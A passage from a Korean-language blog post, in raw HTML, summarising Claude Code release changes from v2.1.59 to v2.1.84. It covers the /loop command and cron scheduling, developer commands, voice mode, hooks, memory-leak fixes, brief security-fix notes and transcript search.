data-origin-width=&quot;1992&quot; data-origin-height=&quot;1114&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# v2.1.71: /loop으로 세션 내 반복 실행
/loop 5m check if the deployment finished
/loop 30m check the build
/loop check the build every 2 hours  # 자연어 간격
/loop check the build                # 기본 10분

# 다른 명령어를 반복
/loop 20m /review-pr 1234

# v2.1.72: 비활성화
export CLAUDE_CODE_DISABLE_CRON=1&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.71&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/loop&lt;/b&gt; 명령어 + cron 스케줄링 도구 (CronCreate/CronList/CronDelete)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.72&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;CLAUDE_CODE_DISABLE_CRON&lt;/code&gt; 환경변수로 비활성화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.73&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;/loop Bedrock/Vertex/Foundry 및 텔레메트리 비활성 환경에서도 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;/loop의 제약&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;/loop은 &lt;b&gt;세션이 열려 있는 동안만&lt;/b&gt; 동작한다. 노트북을 닫으면 끝난다. 노트북을 닫아도 실행되는 Cloud 스케줄 태스크(&lt;code&gt;/schedule&lt;/code&gt;)는 v2.1.76 이후에 추가되었으며, 이 글에서 함께 다룬다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 개발자 도구 &amp;mdash; /simplify, /batch, /plan, /context&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVzWoh/dJMcaaSiQij/tIf4KPCV0vXq15Ky0FkFa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVzWoh/dJMcaaSiQij/tIf4KPCV0vXq15Ky0FkFa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVzWoh/dJMcaaSiQij/tIf4KPCV0vXq15Ky0FkFa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVzWoh%2FdJMcaaSiQij%2FtIf4KPCV0vXq15Ky0FkFa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2006&quot; height=&quot;1068&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;명령어&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/simplify&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.63&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;변경된 코드의 재사용성, 품질, 효율성을 검토하고 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/batch&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.63&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;여러 작업을 병렬로 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/copy&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.59&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;인터랙티브 코드블록 피커. v2.1.72에서 &lt;code&gt;w&lt;/code&gt;키로 파일 직접 쓰기 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/plan&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.72&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;설명 인자 추가 &amp;mdash; &lt;code&gt;/plan fix the auth bug&lt;/code&gt;로 즉시 시작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/context&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.74&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;컨텍스트 사용량 분석 + 구체적 최적화 제안&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/color&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.75&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;프롬프트 바 색상 커스터마이징&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/context&lt;/code&gt;는 긴 세션에서 &quot;왜 응답이 느려졌지?&quot;를 진단하는 데 유용하다. 컨텍스트를 많이 먹는 도구, 메모리 팽창, 용량 경고를 구체적인 최적화 팁과 함께 보여준다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. Voice Mode &amp;mdash; 20개 언어, 키바인딩, 안정화&lt;/b&gt;&lt;/h2&gt;
버전Voice Mode 변경
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.69&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;STT&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;20개 언어&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;지원 (러시아어, 폴란드어, 터키어, 네덜란드어, 우크라이나어, 그리스어, 체코어, 덴마크어, 스웨덴어, 노르웨이어 추가)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.71&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;voice:pushToTalk&lt;span&gt;&amp;nbsp;&lt;/span&gt;키바인딩 &amp;mdash;&lt;span&gt;&amp;nbsp;&lt;/span&gt;keybindings.json에서 변경 가능 (기본: space)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.72&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;음성 인식 정확도 개선 (regex, OAuth, JSON 등 개발 용어)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.73&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 손상 수정, 자동 재시도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.75&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;신규 설치 시 /voice 두 번 토글 필요 문제 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 플러그인 &amp;amp; 훅 생태계&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.63&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;HTTP 훅&lt;/b&gt; &amp;mdash; shell 대신 URL로 POST JSON 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.69&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;InstructionsLoaded&lt;/code&gt; 훅 &amp;mdash; CLAUDE.md/.claude/rules 로드 시 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.69&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;플러그인 &lt;code&gt;git-subdir&lt;/code&gt; 소스 타입, &lt;code&gt;/reload-plugins&lt;/code&gt;, &lt;code&gt;${CLAUDE_SKILL_DIR}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.69&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;훅 이벤트에 &lt;code&gt;agent_id&lt;/code&gt;, &lt;code&gt;agent_type&lt;/code&gt;, &lt;code&gt;worktree&lt;/code&gt; 필드 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.72&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md HTML 주석(&lt;code&gt;&amp;lt;!-- --&amp;gt;&lt;/code&gt;) 자동 주입 시 숨김 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.73&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;modelOverrides&lt;/code&gt; &amp;mdash; Bedrock/Vertex 커스텀 모델 ID 매핑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.75&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;훅 권한 프롬프트에 &lt;b&gt;소스 표시&lt;/b&gt; (settings/plugin/skill 중 어디서 왔는지)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 성능 &amp;amp; 메모리 &amp;mdash; 13건의 누수를 잡다&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JOxqc/dJMcaiJvhTV/9xtrAzw1LXS3BcuYZkQGUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JOxqc/dJMcaiJvhTV/9xtrAzw1LXS3BcuYZkQGUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JOxqc/dJMcaiJvhTV/9xtrAzw1LXS3BcuYZkQGUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJOxqc%2FdJMcaiJvhTV%2F9xtrAzw1LXS3BcuYZkQGUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2002&quot; height=&quot;1090&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.63은 &quot;메모리 누수 대청소&quot; 릴리스였다. 한 번에 &lt;b&gt;13건의 메모리 누수&lt;/b&gt;를 수정했다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;성능 개선&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.63&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;13건 메모리 누수 수정 (listener, 캐시, 훅, 팀원, MCP 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.69&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;React memoCache 누수, REPL 렌더 스코프 누수 (~35MB/1000턴), SDK 세션 누수 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.69&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Yoga WASM 프리로딩 지연 &amp;rarr; &lt;b&gt;기본 메모리 -16MB&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.70&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;프롬프트 입력 리렌더 &lt;b&gt;74% 감소&lt;/b&gt;, 시작 메모리 -426KB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.72&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;번들 크기 &lt;b&gt;-510KB&lt;/b&gt;, bash 파서 네이티브 모듈 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.72&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;SDK &lt;code&gt;query()&lt;/code&gt; 프롬프트 캐시 수정 &amp;rarr; 입력 토큰 비용 &lt;b&gt;최대 12배 절감&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 수정들의 효과: v2.1.59에서 긴 세션이 &quot;점점 느려지다 결국 멈추는&quot; 문제가 v2.1.75에서는 대부분 해소되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 보안 수정&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주요 보안 수정&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.69&lt;/b&gt;: .gitignore 디렉토리(node_modules 등)에서 스킬 로드 방지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.69&lt;/b&gt;: .mcp.json 첫 실행 시 서버별 승인 대화상자 정상 표시 (이전: 모든 서버 자동 활성화)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.69&lt;/b&gt;: symlink를 통한 워킹 디렉토리 탈출 방지 (acceptEdits 모드)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.74&lt;/b&gt;: 관리 정책의 &lt;code&gt;ask&lt;/code&gt; 규칙이 사용자 &lt;code&gt;allow&lt;/code&gt; 규칙에 의해 우회되는 문제 수정&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 검색 &amp;amp; 네비게이션 &amp;mdash; 드디어 대화를 찾을 수 있다&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;긴 세션에서 이전 대화를 찾으려고 끝없이 스크롤하던 경험이 있을 것이다. &lt;b&gt;v2.1.83&lt;/b&gt;에서 이 문제가 해결되었다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbBKsL/dJMcahKEwSO/tRafQIlEeI8yKnsjMmgZdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbBKsL/dJMcahKEwSO/tRafQIlEeI8yKnsjMmgZdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbBKsL/dJMcahKEwSO/tRafQIlEeI8yKnsjMmgZdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbBKsL%2FdJMcahKEwSO%2FtRafQIlEeI8yKnsjMmgZdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2006&quot; height=&quot;1108&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 트랜스크립트 검색 (v2.1.83)
Ctrl+O          # 트랜스크립트 모드 진입
/               # 검색 모드 진입
키워드 입력      # 실시간 매칭
n / N           # 다음/이전 매치로 이동&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;트랜스크립트 검색&lt;/b&gt; &amp;mdash; Ctrl+O에서 &lt;code&gt;/&lt;/code&gt;로 검색, &lt;code&gt;n&lt;/code&gt;/&lt;code&gt;N&lt;/code&gt;으로 매치 간 이동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;75분 이상 유휴 후 복귀 시 &lt;code&gt;/clear&lt;/code&gt; 권고 &amp;mdash; 불필요한 토큰 재캐싱 방지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;토큰 수 표시 개선: 1,512.6k &amp;rarr; &lt;b&gt;1.5m&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.84&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;스크롤 점프 감소 &amp;mdash; 컴팩션/그룹 변경 시 메시지 창이 최상단으로 튀는 문제 해결&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.83&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;스크롤백 리셋 빈도 감소: 턴마다 &amp;rarr; ~50 메시지마다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;긴 세션에서 작업하다가 &quot;아까 그 에러 메시지가 뭐였지?&quot;할 때: &lt;code&gt;Ctrl+O&lt;/code&gt; &amp;rarr; &lt;code&gt;/error&lt;/code&gt; &amp;rarr; &lt;code&gt;n&lt;/code&gt;으로 빠르게 찾을 수 있다. 더 이상 스크롤 올릴 필요 없다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 팀 &amp;amp; 엔터프라이즈 &amp;mdash; 조직 정책 관리의 진화&lt;/b&gt;&lt;/h2&gt;
